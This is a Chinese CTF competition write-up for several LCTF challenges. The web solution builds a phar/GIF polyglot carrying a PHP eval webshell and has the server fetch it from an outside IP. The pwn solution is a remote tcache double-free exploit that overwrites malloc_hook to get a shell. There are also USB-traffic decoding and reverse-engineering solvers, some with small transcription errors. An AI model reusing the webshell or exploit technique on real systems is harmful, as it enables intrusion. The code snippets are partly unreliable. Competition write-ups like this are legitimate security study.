招新小广告
ChaMd5 ctf组 长期招新
尤其是reverse+pwn+合约的大佬
欢迎联系admin@chamd5.org
解题思路 初步分析:
突破⼝: check()函数过滤没其他的严格
if(preg_match('/^(ftp|php|zlib|data|glob|phar|ssh2|rar|ogg|expect) (.|\\s)*|(.|\\s)*(file)(.|\\s)*/i',$_GET['c'])){
这⾥⾯是使⽤了^字符,⽽本题其他函数的正则匹配皆没有这个,于是这可能是个突破 ⼝。 可使⽤compress.zlib://phar://代替phar://从⽽绕过过滤。 ⽽phar的反序列化最多是包含⽂件,于是可以本身写⻢,然后包含本身。
class K0rz3n_secret_flag {
protected
$file_path="/var/www/data/17c21167f7a5e94737fc27b58e29e9e4/avatar.gif";
function __destruct(){
if(preg_match('/(log|etc|session|proc|read_secret|history|class)/i', $this->file_path)){
die("Sorry Sorry Sorry");
}
include_once($this->file_path);
}
}
$phar = new Phar('avatar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php eval($_POST[p]);?>'.'<?php __HALT_COMPILER();?>');
$object = new K0rz3n_secret_flag();
$phar -> setMetadata($object);
$phar -> addFromString('test.txt','test');
$phar -> stopBuffering();
rename(__DIR__ . '/avatar.phar', __DIR__ . '/avatar.gif');
GET /LCTF.php?m=upload&url=http://103.229.127.139
洛必达?不不不
LCTF{5d7b9adcbe1c629ec722529dd12e5129}
import Image
#"D:\Program Files\Wireshark\tshark.exe" -r usb.pcap -T fields -e usb.capdata > usb.txt
usbtxt = open('usb.txt', 'r').read()
usb = usbtxt.split('\n')
idx = 0
li1 = 0
li2 = 0
li3 = 0
mi1 = 0
mi2 = 0
width=1300
height=1000
bgcolor=(255,255,255)
im= Image.new('RGB',(width,height),bgcolor)
for u in usb:
d = u.split(':')
if 10 == len(d) and d[0] == '02':
i0 = int(d[1], 16)
i1 = (int(d[3], 16) << 8) | int(d[2], 16)
i2 = (int(d[5], 16) << 8) | int(d[4], 16)
i3 = (int(d[7], 16) << 8) | int(d[6], 16)
i4 = (int(d[9], 16) << 8) | int(d[8], 16)
if i1 > mi1:
mi1 = i1
if i2 > mi2:
mi2 = i2
li1 = i1
li2 = i2
pix=im.load()
i=0
i3%=256
if idx > 3000:
pix[i1//10,i2//10]=(0,0,0)#(i3,i3,i3)
if idx % 100 == 0:
im.save("out\\mapd.png"%idx)
idx+=1
im.save("out\\mapd.png"%idx)
print idx,mi1,mi2
LCTF{OSU_1S_GUUUD}
off by one:
if ( a2 )
{
while ( 1 )
{
read(0, &a1[v3], 1uLL); 6 7
if ( a2 - 1 < (unsigned int)v3 || !a1[v3] || a1[v3] == '\n' )
break;
++v3;
}
a1[v3] = 0;
a1[a2] = 0;
}
libc2.27->tcache 只能malloc(0xF8) 可以先填满对应的tcache bin获得unsorted bin 审错了他的read过程,看成了
if ( a2 - 1 < (unsigned int)v3 || !a1[v3] || a1[v3] == '\n' )
++v3;
break;
以为会连续⽣成两个"\x00",没法bypass,(fd和bk只有末位是"\x00"),卡了好久。晚上回来重新看发现看错了orz 剩下就是利⽤off by one覆盖prev in use,使两个堆块发⽣合并,然后便可以有两个索引指向同⼀个chunk。 ⽽后进⾏tcache的double free,使chunk分配到malloc hook,写⼊one_gadget,再malloc⼀次 即可getshell
from pwn import *
def new(size,note):
p.recvuntil("?\n> ")
p.sendline("1")
p.recvuntil("size \n> ")
p.sendline(str(size))
p.recvuntil("content \n> ")
if size==0:
return
else:
p.send(note)
def delete(index):
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("index \n> ")
p.sendline(str(index))
context.log_level='debug'
p=remote("118.25.150.134",6666)
for i in range(10):
new(0,"kirin\n")
for i in range(5):
delete(9-i)
delete(3)
delete(1)
delete(2)
delete(0)
delete(4)
for i in range(7):
new(0,"kirin\n")
new(0,"kirin\n")
new(0xf8,"\x00")
new(0,"kirin\n")
for i in range(6):
delete(i+1)
delete(9)
delete(0)
p.recvuntil("?\n> ")
p.sendline("3")
p.recvuntil("index \n> ")
p.sendline("8")
s=p.recv(6)
libc_addr=u64(s.ljust(8,"\x00"))-0x3ebca0
print hex(libc_addr)
for i in range(8):
new(0,"kirin\n")
delete(8)
delete(9)
new(0x10,p64(libc_addr+0x3ebc30))
new(0x10,"kirin\n")
for i in range(8):
delete(i)
for i in range(8):
new(0x10,p64(libc_addr+0x10a38c))
delete(0)
p.recvuntil("> ")
p.sendline("1")
p.interactive()
在init中有对401E79的SMC和基于进程名检查的反调试;401D90函数也是对401E79的 SMC。 输⼊⻓度限制为36字节。 将输⼊分别以两种⽅式遍历(不管什么⽅式,与解题关系不⼤,⼤概与树有关);将两种遍历 结果分别进⾏加密或类似操作、结果与常量⽐较并校验部分输⼊遍历前后的序号。两种遍历的 结果可以通过加密算法和最终的校验数据得出,再加上序号的校验,分别得出原始输⼊前或后 部分,合在⼀起就能得到正确的原始输⼊。 对第⼀种遍历结果加密的加密算法是des,密钥为fa1conn,加密后结果⼜进⾏了算术运算。 可解⽅程得出加密串的前36字节,加上明⽂校验的后4字节,得到完整加密串的hex值: 77afddee5cabcba362635c5d93180bfbc9174647b91d768eb6e3f5c7ac643479088e45f 9733cf57c z3解⽅程的代码如下:
from z3 import *
def codesovle():
v = []
for i in range(36):
v.append(BitVec('v%d'%i,32))
cc = [23,65,24,78,43,56,59,67,21,43,45,76,23,54,76,12,65,43,89,40,32,67,73,57,23,45,31,54,31,52,13,24,54,65,34,24]
res = [43666,49158,43029,51488,53397,51921,28676,39740,26785,41665,35675,40629,32311,31394,20373,41796,33452,35840,17195,29175,29485,28278,28833,28468,46181,58369,44855,56018,57225,60666,25981,26680,24526,38780,29172,30110]
s = Solver()
for i in range(6):
for j in xrange(6):
s.add(res[i+6*j] == v[6*j]*cc[i]+v[6*j+1]*cc[i+6]++v[6*j+2]*cc[i+12]+v[6*j+3]*cc[i+18]++v[6*j+ 4]*cc[i+24]++v[6*j+5]*cc[i+30])
for i in range(36):
s.add( ULE(v[i],0xff),UGE(v[i],0))
if s.check() == sat:
a = s.model()
s = ''
for i in range(36):
s += chr(a[v[i]].as_long())
print '[*]result:',
print s.encode('hex')
return
print '[*]No result,end.'
if __name__ == '__main__':
codesovle()
DES解密后得到:LC-+)=1234@AFETRS{the^VYXZfislrvxyz} 根据序号校验,前18字节输⼊在遍历后的序号为: 0,1,14,12,17,18,19,27,28,2,15,20,31,29,30,16,13,5 即得到前18字节输⼊:LCTF{this-RevlrSE= 第⼆种遍历结果的变换是异或,反解如下:
>>> c = [124,129,97,153,103,155,20,234,104,135,16,236,22,249,7,242,15,243,3,244,51,207,39,198,38,195,61,208,44,210,35,222,40,209,1,230]
>>> S = ''
>>> for i in range(36):
... if i%2:
... s+= chr(c[i]^0xaa)
... else:
... s += chr(c[i]^0xaa)
>>> s
')+4321A@=-EFCSRXZYV^ferlsihzyxvt}{TL'
根据序号校验,后18字节输⼊在遍历后的序号为: 19,18,5,7,17,1,0,20,,29,28,27,15,16,4,3,2,32 得到后18字节的正确原始输⼊:^V1@Y+)fAxyzXZ234} flag为:LCTF{this-RevlrSE=^V1@Y+)fAxyzXZ234}
常规VM题,handler如下:
0x86: VM_push_imm(a1)
0x87: VM_push_reg(a1)
0x88: VM_mov_reg_with_addr(a1)
0x89: VM_mov_reg_with_reg_pointer(a1)
0x8A: VM_pop_reg(a1)
0x8B: VM_add_regs(a1)
0x8C: VM_sub_regs(a1)
0x8D: VM_mul_regs(a1)
0x8E: VM_div_regs(a1)
0x8F: VM_mod_regs(a1)
0x90: VM_xor_regs(a1)
0x91: VM_and_regs(a1)
0x92: VM_SET_FLAGS_with_reg(a1)
0x93: VM_inc_reg(a1)
0x94: VM_dec_reg(a1)
0x95: VM_mov_reg_with_imm(a1)
0x96: VM_mov_reg_with_reg_low(a1)
0x97: VM_mov_reg_with_ds(a1)
0x98: VM_SET_DS(a1)
0x99: VM_DS_INC(a1)
0x9A: VM_DS_ADD_4(a1) 22 23
0x9B: VM_CMP_REGS(a1)
0x9C: VM_JL(a1)
0x9D: VM_JG(a1)
0x9E: VM_JE(a1)
0x9F: VM_JNE(a1)
0xA0: VM_JMP(a1)
0xA1: VM_loop(a1)
0xA2: VM_nop(a1)
0xA3: return result;
default: VM_nop(a1)
VM上下⽂使⽤的数据结构如下:
00000000 VM_CFG struc ; (sizeof=0x2048, mappedto_9)
00000000 _RAX dq ?
00000008 _RBX dq ?
00000010 _RDX dq ?
00000018 _RCX dq ?
00000020 _FLAGS dq ?
00000028 _RIP dq ?
00000030 _RDI dq ?
00000038 _RBP dq ?
00000040 _RSP dq ?
00000048 mem db 8192 dup(?)
00002048 VM_CFG ends
对应的三段vm解析后为:
rax rbx rdx rcx flags
-------check length--------
mov rcx,0x1c
l2:
mov rbx,byte[rdi]
cmp rbx,rax
je l1
dec rcx
inc rdi
loop l2
l1:
cmp rcx,rdx
jne l3
mov rax,1
l3:
ret
-------compute---------
mov flags,rax
jne l1
ret
l1:
mov rax,0x80
mov rdx,0x3f
mov rcx,0x7b
mov flags,0x1c
l3:
mov rbx,byte[rdi]
mul rbx,rdx
add rbx,rcx
mod rbx,rax
mov byte[rdi],rbx
inc rdi
dec flags
push flags
mov flags,flags
jne l2
ret
l2:
pop flags
loop l3
ret
-------check--------
mov flags,rax
jne l1
ret
l1:
push 0x3e
push 0x1a
push 0x56
push 0x0d
push 0x52
push 0x13
push 0x58
push 0x5a
push 0x6e
push 0x5c
push 0x0f
push 0x5a
push 0x46
push 0x07
push 0x09
push 0x52
push 0x25
push 0x5c
push 0x4c
push 0x0a
push 0x0a
push 0x56
puxh 0x33
push 0x40
push 0x15
push 0x07
push 0x58
push 0x0f
mov rax,0
mov rcx,0x1c
l4:
mov rbx,byte[rdi]
pop rdx
cmp rbx,rdx
je l2
ret
l2:
inc rdi
dec rcx
mov flags,rcx
jne l3
mov rax,1
ret
l3:
loop l4
ret
反解如下:
>>> table = string.printable
>>> l1 = []
>>> for i in table:
... l1.append((ord(i)*0x3f+0x7b)%0x80)
...
>>> l1
[75, 10, 73, 8, 71, 6, 69, 4, 67, 2, 90, 25, 88, 23, 86, 21, 84, 19, 82, 17, 80, 15, 78, 13, 76, 11, 74, 9, 72, 7, 70, 5, 68, 3, 66, 1, 122, 57, 120, 55, 118, 53, 116, 51, 114, 49, 112, 47, 110, 45, 108, 43, 106, 41, 104, 39, 102, 37, 100, 35, 98, 33, 26, 89, 24, 87, 22, 85, 20, 83, 18, 81, 16, 79, 14, 77, 12, 65, 0, 63, 126, 61, 124, 59, 96, 31, 94, 29, 92, 27, 64, 127, 62, 125, 91, 50, 113, 46, 48, 111]
>>> t1 = [0x3e,0x1a,0x56,0x0d,0x52,0x13,0x58,0x5a,0x6e,0x5c,0x0f,0x5a,0x46,0x07,0x0 9,0x52,0x25,0x5c,0x4c,0x0a,0x0a,0x56,0x33,0x40,0x15,0x07,0x58,0x0f][::-1]
>>> t1
[15, 88, 7, 21, 64, 51, 86, 10, 10, 76, 92, 37, 82, 9, 7, 70, 90, 15, 92, 110, 90, 88, 19, 82, 13, 86, 26, 62]
>>> for i in t1:
... print table[l1.index(i)],
...
l c t f { H e 1 1 o _ V i r t u a l _ M a c h i n e ! }
>>> 'l c t f { H e 1 1 o _ V i r t u a l _ M a c h i n e ! }'.replace(' ','')
'lctf{He11o_Virtual_Machine!}'
这是⽤了 Glasgow Haskell Compiler么。。。业务逻辑全在sub_402427中。游戏的初始化, 胜负判断,⼤概看下,胜利就输出flag,且游戏过程对最后flag输出没有影响,直接动态,游 戏初始化后,跳到4023C8运⾏,直接输出flag。